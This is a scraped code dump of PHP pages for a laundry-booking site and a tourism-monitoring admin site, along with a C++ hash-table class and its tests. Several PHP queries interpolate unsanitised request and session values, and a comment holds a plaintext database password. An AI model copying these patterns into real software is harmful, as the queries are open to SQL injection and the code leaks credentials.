src="vendor/jquery-easing/jquery.easing.min.js"></script> <!-- Page level plugin JavaScript--> <script src="vendor/chart.js/Chart.min.js"></script> <script src="vendor/datatables/jquery.dataTables.js"></script> <script src="vendor/datatables/dataTables.bootstrap4.js"></script> <!-- Custom scripts for all pages--> <script src="js/sb-admin.min.js"></script> <!-- Demo scripts for this page--> <script src="js/demo/datatables-demo.js"></script> <script src="js/demo/chart-area-demo.js"></script> </body> </html> <?php } ?><file_sep> <?php session_start(); error_reporting(0); include('user/include/dbconnection.php'); ?> <!DOCTYPE html> <html lang="en"> <head> <title>UNIMAS eLaundry</title> <link href="vendor/fontawesome-free/css/all.min.css" rel="stylesheet" type="text/css"> <link href="vendor/datatables/dataTables.bootstrap4.css" rel="stylesheet"> <link href="css/sb-admin.css" rel="stylesheet"> <link href="https://stackpath.bootstrapcdn.com/bootstrap/3.3.7/css/bootstrap.min.css" rel="stylesheet"> </head> <body id="page-top" style="background-image: url(background.jpg); background-position: center center; background-repeat: no-repeat; background-attachment: absolute; background-size: cover;height: 100vh;"> <nav class="navbar navbar-expand navbar-dark bg-dark static-top"> <a class="navbar-brand mr-1" href="index.php">UNIMAS eLaundry</a> <!-- Navbar --> </nav> <div id="wrapper"> <div class="container-fluid"> <h1 class="text-center">Welcome to <span style="color:#4583ed;">UNIMAS </span>eLaundry</h1><br><br> <div class="row"> <div class="col-md-3" style="border-right: 1px solid gray;"> <br><br><h2 class="text-center">Login as User</h2><br><br> <center><a href="user"><button class="btn btn-primary btn-medium">User Signin</button></a><br><br> <a href="user/register.php">Create an account</a></center> <br> </div> <div class="col-md-3"> <br><br><h2 class="text-center">Login as Provider</h2><br><br> <center><a href="provider"><button class="btn btn-primary btn-medium">Provider Signin</button></a><br><br> <a href="provider/register.php">Create an account</a></center> <br> </div> </div> </div> <!-- Bootstrap core JavaScript--> <script src="vendor/jquery/jquery.min.js"></script> <script src="vendor/bootstrap/js/bootstrap.bundle.min.js"></script> <!-- Core plugin JavaScript--> <script src="vendor/jquery-easing/jquery.easing.min.js"></script> <!-- Custom scripts for all pages--> <script src="js/sb-admin.min.js"></script> </body> </html> <file_sep> <nav class="navbar navbar-expand navbar-dark bg-dark static-top"> <a class="navbar-brand mr-1" href="dashboard.php">UNIMAS eLaundry</a> <button class="btn btn-link btn-sm text-white order-1 order-sm-0" id="sidebarToggle" href="#"> <i class="fas fa-bars"></i> </button> <!-- Navbar Search --> <div class="input-group"> </div> <?php $lmsaid=$_SESSION['ldaid']; $ret1=mysqli_query($con,"select tbluser.FullName,tbllaundryreq.ID from tbllaundryreq join tbluser on tbluser.id=tbllaundryreq.UserID where tbllaundryreq.provider= '$lmsaid' and tbllaundryreq.Status='0'"); $num=mysqli_num_rows($ret1); ?> <ul class="navbar-nav ml-auto ml-md-0"> <li class="nav-item dropdown no-arrow mx-1"> <a class="nav-link dropdown-toggle" href="#" id="alertsDropdown" role="button" data-toggle="dropdown" aria-haspopup="true" aria-expanded="false"> <span class="badge badge-danger"><?php echo $num;?></span><i class="fas fa-bell fa-fw"></i> </a> <div class="dropdown-menu dropdown-menu-right" aria-labelledby="alertsDropdown"> <?php if($num>0){ while($result=mysqli_fetch_array($ret1)) { ?> <a class="dropdown-item" href="view-newrequest.php?editid=<?php echo $result['ID'];?>">New Request Received from <?php echo $result['FullName'];?></a> <?php }} else {?> <a class="dropdown-item" href="new-request.php">No New Requests Found</a> <?php } ?> </li> <li class="nav-item dropdown no-arrow"> <a class="nav-link dropdown-toggle" href="#" id="userDropdown" role="button" data-toggle="dropdown" aria-haspopup="true" aria-expanded="false"> <i class="fas fa-user-circle fa-fw"></i> </a> <div class="dropdown-menu dropdown-menu-right" aria-labelledby="userDropdown"> <?php $adid=$_SESSION['ldaid']; $ret=mysqli_query($con,"select AdminName from tbladmin where ID='$adid'"); $row=mysqli_fetch_array($ret); $name=$row['AdminName']; ?> <a class="dropdown-item" href="admin-profile.php"><?php echo $name; ?></a> <a class="dropdown-item" href="admin-profile.php">View Profile</a> <a class="dropdown-item" href="changepassword.php">Change Password</a> <div class="dropdown-divider"></div> <a class="dropdown-item" href="logout.php" data-toggle="modal" data-target="#logoutModal">Logout</a> </div> </li> </ul> </nav>
dfb6f5acad5de0047f70d45a9901cd3951ae0b78
[ "SQL", "PHP" ]
8
PHP
ZaforAbdullah/Laundry-Service-Pickup-and-Delivery
4862acbd8ca3fe63edcf929588b6e5f0d8dadb56
600d40eda0adaee7ddb72c373c0e3bc10f29e701
refs/heads/master
<repo_name>eeeris/Dictionary_test_task_drweb<file_sep>/heshTab/HashTable.h #pragma once #include "interface.h" #include <vector> #include <list> using namespace std; //Необходимо реализовать класс контейнера, реализующий интерфейс Dictionary и способный выбросить исключение, реализующее интерфейс NotFoundException. //При разработке допускается использовать STL.Кроме этого, внутренняя реализация ничем не ограничена. template<class TKey, class TValue> class HashTable : public Dictionary<TKey, TValue> { public: explicit HashTable(size_t num_buckets = 100) : buckets(num_buckets) {}; using Bucket = list<pair<TKey, TValue>>; vector<Bucket> buckets; hash<TKey> hash_func = {}; class Exception : public NotFoundException<TKey> { public: Exception(TKey key) : key(move(key)) {} const TKey& GetKey() const noexcept override { return key; } private: TKey key; }; pair <Bucket&, TValue*> Find(const TKey& key) const { auto bucket_number = hash_func(key) % buckets.size(); auto& bucket = buckets[bucket_number]; auto it = find_if(bucket.begin(), bucket.end(), [key](pair <TKey, TValue> const& item) {return (item.first == key); }); if (it == bucket.end()) { return { const_cast<Bucket&>(bucket), nullptr }; } return { const_cast<Bucket&>(bucket), const_cast<TValue*>(&(it->second)) }; } const TValue& Get(const TKey& key) const override { if (auto [bucket, p_value] = Find(key); p_value) { return *p_value; } throw Exception{ key }; } void Set(const TKey& key, const TValue& value) override { auto [bucket, p_value] = Find(key); if (p_value == nullptr) { bucket.push_back({ key, value }); } else { *p_value = value; } } bool IsSet(const TKey& key) const override { auto [bucket, p_value] = Find(key); return (p_value); } };<file_sep>/UnitTests/UnitTests.cpp #include "pch.h" #include "CppUnitTest.h" #include "../heshTab/HashTable.h" #include "../heshTab/TrivialDictionary.h" #include <memory> using namespace Microsoft::VisualStudio::CppUnitTestFramework; using namespace std; namespace { template<class TKey, class TValue> void CheckInsert(Dictionary<TKey, TValue>& map) { map.Set(777, 666); Assert::IsTrue(!map.IsSet(555)); Assert::IsTrue(map.IsSet(777)); Assert::AreEqual(map.Get(777), 666); } template<class TKey, class TValue> void CheckNotFoundException(Dictionary<TKey, TValue>& map) { try { map.Get(777); Assert::Fail(L"Ожидалось исключение"); } catch (NotFoundException<int>& e) { Assert::AreEqual(e.GetKey(), 777); } catch (...) { Assert::Fail(L"Исключение не того типа"); } } }; TEST_CLASS(HashTable_IntInt) { public: using DictionaryImpl = HashTable<int, int>; TEST_METHOD(InsertsElement) { unique_ptr<Dictionary<int, int>> map = make_unique<DictionaryImpl>(); CheckInsert(*map); } TEST_METHOD(ThrowsException_WhenNoExists) { unique_ptr<Dictionary<int, int>> map = make_unique<DictionaryImpl>(); CheckNotFoundException(*map); } }; TEST_CLASS(TrivialDictionary_IntInt) { public: using DictionaryImpl = TrivialDictionary<int, int>; TEST_METHOD(InsertsElement) { unique_ptr<Dictionary<int, int>> map = make_unique<DictionaryImpl>(); CheckInsert(*map); } TEST_METHOD(ThrowsException_WhenNoExists) { unique_ptr<Dictionary<int, int>> map = make_unique<DictionaryImpl>(); CheckNotFoundException(*map); } }; <file_sep>/heshTab/TrivialDictionary.h #pragma once #include <unordered_map> using namespace std; template<class TKey, class TValue> class TrivialDictionary : public Dictionary<TKey, TValue> { class Exception : public NotFoundException<TKey> { public: Exception(TKey key) : key(move(key)) {} const TKey& GetKey() const noexcept override { return key; } private: TKey key; }; unordered_map<TKey, TValue> dictionary; const TValue& Get(const TKey& key) const override { auto it = dictionary.find(key); if (it != dictionary.end()) { return it->second; } else { throw Exception{key}; } } void Set(const TKey& key, const TValue& value) noexcept override { dictionary[key] = value; } bool IsSet(const TKey& key) const noexcept override { auto it = dictionary.find(key); return (it != dictionary.end()); } };
fad536c75f9871b42a91ad5f7d24cabeaf8351e9
[ "C++" ]
3
C++
eeeris/Dictionary_test_task_drweb
50e3aa2afa49449805dd7bef9164f45d47cd666e
1b85bc0905d77cd40e78b23a1bfe8bc9f7c035d1
refs/heads/master
<repo_name>justinal64/front-end-developer-exercise<file_sep>/app/README.markdown I decided to use vanilla Javascript for this project. I understand that this might make the challenge a little harder, but I'm a software developer, and I like challenges. ### Overall Layout Based on the image provided I assumed that the page needed to take up 90% of the total width with a tone of grey(#bbbfc2) as the background. ### Header The header section was pretty straightforward. I Added the image to the page and and added a width of 100% to take over the entire area. ### Content Body For the body section I decided to use flexbox. I've discovered that using flexbox leaves css a lot cleaner and easier to read, and it also allows me to leave out floats that could cause flakey behavior in some browsers. #### Sidebar To make the active baby step appear in white, I created a class called "active", that will be added and removed to the baby step currently being shown via javascript. If I have enough time I would like to come back and remove the hidden versus visible image for the icon. I know this isn't best practice, but based on the 4 hour timeline I have to complete this I will leave it this way for now. To place the icon on the right and the text on the left I decided to used flexbox to position the image and vertically-align middle to align the icon with the text. Since linear gradient does not work in IE9, I added a standard background for IE only. #### Baby Steps My basic idea for this section will be to show the active baby step while hiding all other baby steps. When the user clicks a different baby step a transition will cause and one baby step to disappear and the baby step clicked will slide in from the side. To align the Baby Step Icon with the currently clicked baby step I used a subheader. I also couldn't find how much space is between the Icon and the header, so I used 1rem to make the page appear the same across all browsers. ### Javascript First I need to add an eventListener to each a tag on the page. First Prevent the default behavior of the anchor tag. Next, I need to figure out what anchor is currently showing as active and which anchor element the user has selected. I decided to break down the styling into 2 functions. 1 that changes the styling for the navigation and 1 that changes the current baby step being shown. Originally I thought about using regex to change the src image from blue to grey when the user clicked on a new anchor tag, but this was taking too much time, so I decided to toggle images when the user selects a new anchor tag, and if time allows I will revisit this idea. ### Friends Section Originally I was using fetch to make the call for JSON data, but fetch isn't supported in IE, so I had to use jquery to fetch data. If I have enough time at the end I might try to refactor onSameBS(). The function isn't very dry and it is a lot longer than I would like. Thank you so much for reviewing my code and I look forward to talking to you soon. God Bless, <NAME> <file_sep>/app/assets/javascripts/Main.js var nav = document.getElementById("nav").querySelectorAll("a"); var friendsDiv = document.getElementById("friends"); var friends; $.ajax({ url: "../../baby-steps.json", method: "GET", data: { a: "a" }, success: function(data) { friends = data.friends; friendsOnBS(friends, 1); }, error: function(xhr) { console.log("error", xhr); } }); function toggleHidden(imgArray) { Array.from(imgArray).forEach(function(el) { if (el.className.indexOf("hidden") === -1) { el.classList.add("hidden"); } else { el.classList.remove("hidden"); } }); } function navStyling(prev, next) { prev.removeAttribute("id"); next.setAttribute("id", "active"); toggleHidden(prev.querySelectorAll("img")); toggleHidden(next.querySelectorAll("img")); } function activeBabyStep(prev, next) { var divToHide = prev.getAttribute("data-step"); var divToShow = next.getAttribute("data-step"); var hideDiv = document.getElementsByClassName(`baby_step_${divToHide}`)[0]; hideDiv.className += " hidden"; var showDiv = document.getElementsByClassName(`baby_step_${divToShow}`)[0]; showDiv.classList.remove("hidden"); } Array.from(nav).forEach(function(el) { el.addEventListener("click", styling); }); function styling(e) { e.preventDefault(); var newActiveBS = this.parentNode; var prevSelectedBS = document.getElementById("active"); var activeBS = newActiveBS.getAttribute("data-step"); navStyling(prevSelectedBS, newActiveBS); activeBabyStep(prevSelectedBS, newActiveBS); friendsOnBS(friends, activeBS); } function sortArrayByLastName(array) { var sortedArray = array.sort(function(a, b) { var a = a.lastName; var b = b.lastName; return a < b ? -1 : a > b ? 1 : 0; }); return sortedArray; } function onSameBS(tempArray) { var tempString = ""; if (tempArray.length > 0) { sortedArray = sortArrayByLastName(tempArray); } var firstPerson = tempArray.length > 0 ? tempArray[0].firstName + " " + tempArray[0].lastName : ""; var secondPerson = tempArray.length > 1 ? tempArray[1].firstName + " " + tempArray[1].lastName : ""; if (tempArray.length === 1) tempString = "<a>" + firstPerson + "</a> is also in Baby Step " + tempArray[0].babyStep; else if (tempArray.length === 2) tempString = "<a>" + firstPerson + "</a> and <a>" + secondPerson + "</a> "; else if (tempArray.length === 3) tempString = "<a>" + firstPerson + "</a>, and <a>" + secondPerson + "</a>, and " + (tempArray.length - 2) + " other friend "; else if (tempArray.length >= 4) tempString = "<a>" + firstPerson + "</a>, <a>" + secondPerson + "</a>, and " + (tempArray.length - 2) + " other friends "; if (tempArray.length > 1) { tempString += "are also in Baby Step " + tempArray[0].babyStep; } friendsDiv.innerHTML = tempString; } function friendsOnBS(friends, babystep) { var babyStep = parseInt(babystep); var temp = []; for (var i = 0; i < friends.length; i++) { if (friends[i].babyStep === babyStep) { temp.push(friends[i]); } } onSameBS(temp); }
1d8e22ef62ae0436f32948a0bc7628dc2885975c
[ "Markdown", "JavaScript" ]
2
Markdown
justinal64/front-end-developer-exercise
75a33dc6c162d3a4f1a713e6939b07084351e49a
1838c9327989027b8d472bc68c646707a6bf8d24
refs/heads/master
<file_sep><?php include_once '../includes/function.inc.php'; include_once '../includes/header.inc.php'; ?> <h2>Gestion du site</h2> <ul> <li><a href="socialLinks.php">Gestion des réseaux sociaux</a></li> <li><a href="languages.php">Gestion des langues</a></li> </ul> <?php include_once '../includes/footer.inc.php'; ?> <file_sep><?php //Report all errors except E_NOTICE error_reporting(E_ALL ^ E_NOTICE); //include functions require_once 'includes/function.inc.php'; //include functions for Graph reading require_once 'includes/functionGraph.inc.php'; //include excelReader require_once 'includes/phpReader/reader.php'; //Connect to DB dbConnect(); //Get chart id $chartID = $_GET['id']; //Get chart info $chartInfo = getChartData($chartID); $myChartInfo = mysql_fetch_assoc($chartInfo); //read test file $data = new Spreadsheet_Excel_Reader(); $data->read($myChartInfo['chart_file']); if($myChartInfo['id_chart_type'] == 5){ $chartData = readExcelForPieChart($data); } else if ($myChartInfo['id_chart_type'] == 8){ $chartData = readExcelForBubbleChart($data); } else{ //read file $chartData = readExcelForChart($data); } ?> <script type="text/javascript" src="http://ajax.googleapis.com/ajax/libs/jquery/1.8.2/jquery.min.js"></script> <script type="text/javascript" src="includes/highcharts/highcharts.js"></script> <script type="text/javascript" src="includes/highcharts/highcharts-more.js"></script> <script type="text/javascript" src="includes/highcharts/modules/exporting.js"></script> <div id='container'> </div> <script> (function($){ // encapsulate jQuery $(function () { <?php if($myChartInfo['id_chart_type'] == '5'){ ?> $('#container').highcharts({ chart: { plotBackgroundColor: null, plotBorderWidth: null, plotShadow: false }, title: { text: '<?php echo utf8_encode($myChartInfo['chart_name_fr']); ?>' }, tooltip: { pointFormat: '{series.name}: <b>{point.percentage:.2f}%</b>' }, plotOptions: { pie: { allowPointSelect: true, cursor: 'pointer', dataLabels: { enabled: true, color: '#000000', connectorColor: '#000000', format: '<b>{point.name}</b>: {point.percentage:.1f} %' } } }, series: [{ type: 'pie', name: '<?php echo utf8_encode($myChartInfo['chart_tooltip']); ?>', data: <?php echo utf8_encode($chartData); ?> }] }); <?php }else if ($myChartInfo['id_chart_type'] == '8'){ ?> $('#container').highcharts({ chart: { type: 'bubble', zoomType: 'xy' }, title: { text: '<?php echo utf8_encode($myChartInfo['chart_name_fr']); ?>' }, series: <?php echo utf8_encode($chartData); ?> }); <?php } else { ?> $('#container').highcharts({ chart: { type: '<?php echo $myChartInfo['chtype_name_high']; ?>' }, title: { text: '<?php echo $myChartInfo['chart_name_fr']; ?>', x: -20 //center }, subtitle: { text: '<?php echo $myChartInfo['chart_sub_fr']; ?>', x: -20 }, xAxis: { categories: <?php echo $chartData[0]; ?> }, <?php if($myChartInfo['chart_x_fr'] != ''){ ?> xAxis: { title: { text: '<?php echo $myChartInfo['chart_x_fr']; ?>' } },<?php } if($myChartInfo['chart_y_fr'] != ''){?> yAxis: { title: { text: '<?php echo $myChartInfo['chart_y_fr']; ?>' }, plotLines: [{ value: 0, width: 1, color: '#808080' }] },<?php } ?> tooltip: { valueSuffix: '<?php echo utf8_encode($myChartInfo['chart_tooltip']); ?>' }, <?php echo $myChartInfo['chtype_supp']; ?> legend: { layout: 'vertical', align: 'right', verticalAlign: 'middle', borderWidth: 0 }, series: [<?php echo $chartData[1]; ?>] }); <?php }?> }); })(jQuery); </script> <?php //Disconnect from DB dbDisconnect(); ?> <file_sep><!-- ******************************************************************************** ** Author: FAP ** Date: 14.02.2014 ** Goal: Contains header for monitoring.tourobs.ch ******************************************************************************** --> <?php include_once 'includes/function.inc.php'; dbConnect(); if(!isset($_SESSION['lang'])){ if (isset($_SERVER["HTTP_ACCEPT_LANGUAGE"])) $_SESSION['lang'] = substr(parseDefaultLanguage($_SERVER["HTTP_ACCEPT_LANGUAGE"]),0,2); if($_SESSION['lang']!= 'fr' || $_SESSION['lang'] != 'de') $_SESSION['lang'] = 'fr'; } ?> <html> <head> <meta http-equiv="Content-Type" content="text/html" charset="UTF-8" /> <title>Tourobs.ch - Monitoring</title> <!-- Styles for website --> <link href="styles/global.css" type="text/css" rel="stylesheet" /> <link href="styles/mainNav.css" type="text/css" rel="stylesheet" /> <link href="styles/footer.css" type="text/css" rel="stylesheet" /> <link href="styles/HomeCredit.css" type="text/css" rel="stylesheet" /> <link href="//netdna.bootstrapcdn.com/font-awesome/4.0.3/css/font-awesome.css" rel="stylesheet"> <link rel="stylesheet" href="includes/nivo-slider/nivo-slider.css" type="text/css" media="screen" /> <link rel="stylesheet" href="includes/nivo-slider/themes/default/default.css" type="text/css" media="screen" /> <!-- javascript for webpage --> <script type="text/javascript" src="http://ajax.googleapis.com/ajax/libs/jquery/1.8.2/jquery.min.js"></script> <script src="http://code.highcharts.com/highcharts.js"></script> <script src="http://code.highcharts.com/highcharts-more.js"></script> <script src="http://code.highcharts.com/modules/exporting.js"></script> <script type="text/javascript" src="includes/js/jquery.hoverIntent.minified.js"></script> <script src="http://widgets.twimg.com/j/2/widget.js"></script> </head> <body data-twttr-rendered="true" style> <div class="mainCenter" align="center"> <div id="mainSITE"> <a class="mainLogoHome" href="index.php"></a> <div class="headerNav"> <ul id="topnav"> <?PHP //Get all menus $menus = getAllParentPages(); while($menu = mysql_fetch_assoc($menus)){ $menuName = "menu_name_" . $_SESSION['lang']; echo "<li><a href='page.php?id=".$menu['id_menu']."" . "' class='mainNav'>" .$menu[$menuName]."</a>"; //Get all sub-menus $submenus = selectSousMenus($menu['id_menu']); if(mysql_num_rows($submenus) > 0){ echo "<div class='sub'>\n"; echo "\t<div class='row'>"; echo "\t\t<ul>"; while($smenu = mysql_fetch_assoc($submenus)){ echo "<li><a href='page.php?id=".$smenu['id_menu']."" . "' class='mainNav'>" .$smenu[$menuName]."</a>"; } echo "\t</div>"; echo "</li>"; } } ?> </ul> <div id="languages"> <?php if($_SESSION['lang'] == 'fr') echo "<img src='images/icons/de.ico' alt='Deutsch' width='32px' onClick=\"changeLang('".$_SESSION['lang']."');\"/>"; else echo "<img src='images/icons/fr.ico' alt='Français' width='32px' onClick=\"changeLang('".$_SESSION['lang']."');\"/>"; ?> </div> </div> </div> <div id="underHeader"> <span></span> </div> <div class="mainContent CONTENT-LEFT"> <div id="widgetArea"> <a class="twitter-timeline" href="https://twitter.com/tourobs" data-widget-id="437981013562511360">Tweets de @tourobs</a> <script>!function(d,s,id){var js,fjs=d.getElementsByTagName(s)[0],p=/^http:/.test(d.location)?'http':'https';if(!d.getElementById(id)){js=d.createElement(s);js.id=id;js.src=p+"://platform.twitter.com/widgets.js";fjs.parentNode.insertBefore(js,fjs);}}(document,"script","twitter-wjs");</script> </div> <div id="contentArea"><span> <script type="text/javascript"> function changeLang(lang){ $.ajax({ url: 'includes/Ajax/function.ajax.inc.php', data: "lang=" + lang + "&type=l", success: function(data){ document.location.href = ""; } }); } </script> <?php dbDisconnect(); ?> <file_sep><?php include_once '../includes/function.inc.php'; include_once '../includes/header.inc.php'; include_once '../includes/footer.inc.php'; ?> <file_sep>index.file=index.php url=http://localhost/Tourobs_Monitoring/ <file_sep><?php include_once '../function.inc.php'; dbConnect(); $type = $_GET['type']; if(isset($_GET[id])) $id = $_GET['id']; if(isset($_GET['typeChart'])) $typeChart = $_GET['typeChart']; if($type == 'ct'){ updateChartType($id, $typeChart); } if($type == 'd'){ deleteChart($id); } ?> <file_sep><?php include_once '../includes/function.inc.php'; include_once '../includes/header.inc.php'; dbConnect(); //Contrôle si le formulaire a été rempli if(isset($_POST['username']) || isset($_POST['password'])){ //Error if username is empty if($_POST['username'] == ''){ echo "<div class='errorLogin'><p>Veuillez remplir votre nom d'utilisateur</p></div>"; } else if($_POST['password'] == ''){ echo "<div class='errorLogin'><p>Veuillez remplir votre mot de passe</p></div>"; } else{ $login = getInfosLogin(sha1($_POST['username']), sha1($_POST['password'])); $login_info = mysql_fetch_assoc($login); //Check if user exists if($login_info['id_user'] != ''){ echo "Bienvenue " . $login_info['user_firstname']; $_SESSION['logged'] = 'ok'; $_SESSION['user'] = $login_info['user_login']; //redirect to homepage echo "<meta http-equiv=\"refresh\" content=\"1; URL='../home/index.php'\">"; } else{ echo "<div class='errorLogin'><p>Utilisateur inconnu ou mot de passe erroné</p></div>"; } } } ?> <h2>Connexion à la console d'administration</h2> <form method="post" name="login"> <div class='loginForm'> <span id='formTopic'>Nom d'utilisateur</span> <span id="formField"> <input type="text" name='username' value='<?php if(isset($_POST['username'])) echo $_POST['username']; ?>' /> </span><br /> <span id='formTopic'>Mot de passe</span> <span id="formField"><input type="password" name='password' /></span><br /> <input type='submit' value="connexion" /> </div> </form> <?php dbDisconnect(); include_once '../includes/footer.inc.php'; ?> <file_sep><!-- ******************************************************************************** ** Author: FAP ** Date: 24.02.2014 ** Goal: Contains all functions of tourobs data part ******************************************************************************** --> <?php /********************* db connection **************************************/ function dbConnect(){ //Create link $link = mysql_connect("localhost","root", ""); //Create link server //$link = mysql_connect("mysql17.000webhost.com", "a9888891_tourobs", "mysqltourobs1" ); //Choix de la DB - Si erreur, affichage du message d'erreur mysql_select_db("a9888891_tourobs") or die ('Erreur: ' . mysql_error()); return $link; } /********************* db disconnection ***********************************/ function dbDisconnect(){ mysql_close(); } /********************* SQL query execution *********************************/ //params: $strSQL = SQL Query (string) function executeSQL($strSQL) { //Execute SQL query and get query stata $SQLQuery = mysql_query($strSQL); //Check if query executed correctly if($SQLQuery == 0){ $message = "Erreur SQL: " . mysql_error() . "<br>\n"; $message .= "SQL string: " . $strSQL . "<br>\n"; die($message); } //Return query restul return $SQLQuery; } function parseDefaultLanguage($http_accept, $deflang = "en") { if(isset($http_accept) && strlen($http_accept) > 1) { # Split possible languages into array $x = explode(",",$http_accept); foreach ($x as $val) { #check for q-value and create associative array. No q-value means 1 by rule if(preg_match("/(.*);q=([0-1]{0,1}\.\d{0,4})/i",$val,$matches)) $lang[$matches[1]] = (float)$matches[2]; else $lang[$val] = 1.0; } #return default language (highest q-value) $qval = 0.0; foreach ($lang as $key => $value) { if ($value > $qval) { $qval = (float)$value; $deflang = $key; } } } return strtolower($deflang); } /******************************************************************************* ******************************************************************************* ******************************* Footer queries ******************************** ******************************************************************************* ******************************************************************************/ function getSocialLinks_footer() { //Sql query $strSQL = "SELECT soc_name, soc_link,soc_picture " . "from socialLinks " . "where soc_active = 0 order by soc_order"; //Execute SQL query $sociallinks = executeSQL($strSQL); return $sociallinks; } /******************************************************************************* ******************* */ //All parent pages function getAllParentPages(){ //SQL Query $strSQL = "SELECT * " . "from menu " . "where fk_menu_parent = 0 " . "order by menu_position"; //Execute SQL Query $parentPages = executeSQL($strSQL); return $parentPages; } /** * Sélectionner les sous-menus d'un menu */ function selectSousMenus($idParent){ $requete = "SELECT * FROM menu WHERE fk_menu_parent = $idParent ORDER BY menu_position"; $resultats = executeSQL($requete); return $resultats; } /** * Sélectionner les informations d'un menu */ function selectInfosMenu($idMenu){ $requete = "SELECT * FROM menu WHERE id_menu = $idMenu"; $resultats = executeSQL($requete); return $resultats; } /** * Sélectionner les informations d'une page */ function selectInfosPage($idMenu){ $requete = "SELECT * FROM page WHERE fk_menu = $idMenu"; $resultats = executeSQL($requete); return $resultats; } function getChartData($id){ //SQL query $strSQL = "select * ". "from chart, chart_type ". "where id_chart_type = fk_chart_type ". "and id_chart = $id"; $chartsInfo = executeSQL($strSQL); return $chartsInfo; } ?> <file_sep><?php include_once '../function.inc.php'; dbConnect(); $type = $_GET['type']; if(isset($_GET['parent'])) $parent = $_GET['parent']; if(isset($_GET['menu'])) $menu = $_GET['menu']; if(isset($_GET['menuSansAccent'])){ $page = $_GET['menuSansAccent']; $page = ucwords($page); $page = str_replace(" ", "", $page); } if(isset($_GET['position'])) $position = $_GET['position']; if(isset($_GET['id'])) $idMenu = $_GET['id']; if(isset($_GET['typeMenu'])) $typePage = $_GET['typeMenu']; // Ajout d'un menu if($type == "a"){ //Insert menu into DB insertNewMenu($menu, $parent, $typePage); } // Supprimer un menu principal if($type == "sm"){ // Supprimer les menus et sous-menus de la base de données deleteMenu($idMenu); } // Monter un menu if($type == "m"){ $nouvellePosition = $position - 1; changeMenuPosition($parent, $position, 0); changeMenuPosition($parent, $nouvellePosition, $position); changeMenuPosition($parent, 0, $nouvellePosition); } // Descendre un menu if($type == "d"){ $nouvellePosition = $position + 1; changeMenuPosition($parent, $position, 0); changeMenuPosition($parent, $nouvellePosition, $position); changeMenuPosition($parent, 0, $nouvellePosition); } // Modification d'un menu if($type == "mod"){ // Récupérer le chemin du fichier $infosMenu = selectInfosMenu($idMenu); $infosMenu = mysql_fetch_assoc($infosMenu); // Récupérer les informations de la page $infosPage = selectInfosPage($idMenu); $infosPage = mysql_fetch_assoc($infosPage); // Récupérer le contenu de la page $contenu = ""; $contenu = $infosMenu['fk_menu_page_type'].";;;"; $contenu .= stripslashes($infosMenu['menu_name_fr']).";;;"; $contenu .= stripslashes($infosMenu['menu_name_de']).";;;"; $contenu .= $infosPage['page_content_fr'].";;;"; $contenu .= $infosPage['page_content_de'].";;;"; echo $contenu; } dbDisconnect(); ?> <file_sep><!-- ******************************************************************************** ** Author: FAP ** Date: 24.02.2014 ** Goal: Contains all functions of tourobs admin part ******************************************************************************** --> <?php /********************* db connection **************************************/ function dbConnect(){ //Create link $link = mysql_connect("localhost","root", ""); //Create link server //$link = mysql_connect("mysql17.000webhost.com", "a9888891_tourobs", "mysqltourobs1" ); //Choix de la DB - Si erreur, affichage du message d'erreur mysql_select_db("a9888891_tourobs") or die ('Erreur: ' . mysql_error()); return $link; } /********************* db disconnection ***********************************/ function dbDisconnect(){ mysql_close(); } /********************* SQL query execution *********************************/ //params: $strSQL = SQL Query (string) function executeSQL($strSQL) { //Execute SQL query and get query stata $SQLQuery = mysql_query($strSQL); //Check if query executed correctly if($SQLQuery == 0){ $message = "Erreur SQL: " . mysql_error() . "<br>\n"; $message .= "SQL string: " . $strSQL . "<br>\n"; die($message); } //Return query restul return $SQLQuery; } /******************************************************************************* ******************************************************************************* ******************************* Footer queries ******************************** ******************************************************************************* ******************************************************************************/ function getSocialLinks_footer() { //Sql query $strSQL = "SELECT soc_name, soc_link,soc_picture " . "from socialLinks " . "where soc_active = 0 order by soc_order"; //Execute SQL query $sociallinks = executeSQL($strSQL); return $sociallinks; } /******************************************************************************* ******************************************************************************* ******************************* Social Links ********************************** ******************************************************************************* ******************************************************************************/ function getAllSocialLinks() { //Sql query $strSQL = "SELECT * " . "from socialLinks " . "order by soc_order"; //Execute SQL query $sociallinks = executeSQL($strSQL); return $sociallinks; } function changeSocialPosition($oldPosition, $newPosition){ //SQL query $strSQL = "UPDATE socialLinks SET soc_order = $newPosition WHERE soc_order = $oldPosition"; executeSQL($strSQL); } function editSocialName($id, $name){ //SQL query $strSQL = "UPDATE socialLinks SET soc_name = '$name' WHERE id_socialLinka = $id"; executeSQL($strSQL); } function editSocialLink($id, $link){ //SQL query $strSQL = "UPDATE socialLinks SET soc_link = '$link' WHERE id_socialLinka = $id"; executeSQL($strSQL); } function editSocialActive($id, $link){ //SQL query $strSQL = "UPDATE socialLinks SET soc_active = $link WHERE id_socialLinka = $id"; executeSQL($strSQL); } function editSocialPic($id, $link){ //SQL query $strSQL = "UPDATE socialLinks SET soc_picture = '$link' WHERE id_socialLinka = $id"; executeSQL($strSQL); } /******************************************************************************* ******************************************************************************* ******************************* Admin Pages *********************************** ******************************************************************************* ******************************************************************************/ //All parent pages function getAllParentPages(){ //SQL Query $strSQL = "SELECT * " . "from menu " . "where fk_menu_parent = 0 " . "order by menu_position"; //Execute SQL Query $parentPages = executeSQL($strSQL); return $parentPages; } //Max index in selected parent function selectLastParentPosition($parent){ if($parent == "NULL") $requete = "SELECT MAX(menu_position) FROM menu WHERE fk_menu_parent = 0"; else $requete = "SELECT MAX(menu_position) FROM menu WHERE fk_menu_parent = $parent"; $resultats = executeSQL($requete); $resultats = mysql_fetch_assoc($resultats); $resultats = $resultats['MAX(menu_position)']; return $resultats; } /** * change menu's position */ function changeMenuPosition($parent, $oldPosition, $newPosition){ $requete = "UPDATE menu SET menu_position = $newPosition WHERE fk_menu_parent = $parent AND menu_position = $oldPosition"; executeSQL($requete); } /** * Delete menu from menus */ function deleteMenu($idMenu){ $requete = "DELETE FROM menu WHERE fk_menu_parent = $idMenu OR id_menu = $idMenu"; executeSQL($requete); } //Get all different page types for new pages function getAllPagesTypes(){ $strSQL = "SELECT * " . "FROM page_type "; $pagesTypes = executeSQL($strSQL); return $pagesTypes; } //Insert new page function insertNewMenu($name_fr, $parent, $type){ $menu = utf8_decode($name_fr); $menu = mysql_real_escape_string($name_fr); $lastMenu = selectLastParentPosition($parent); $lastMenu = $lastMenu + 1; $strSQL = "insert into menu values " . "('NULL', '$menu','',1,$lastMenu,$parent, $type)"; executeSQL($strSQL); //Create page $idNewMenu = mysql_insert_id(); $strSQL = "insert into page values " . "('NULL', 'Contenu', 'Text', $idNewMenu)"; executeSQL($strSQL); } 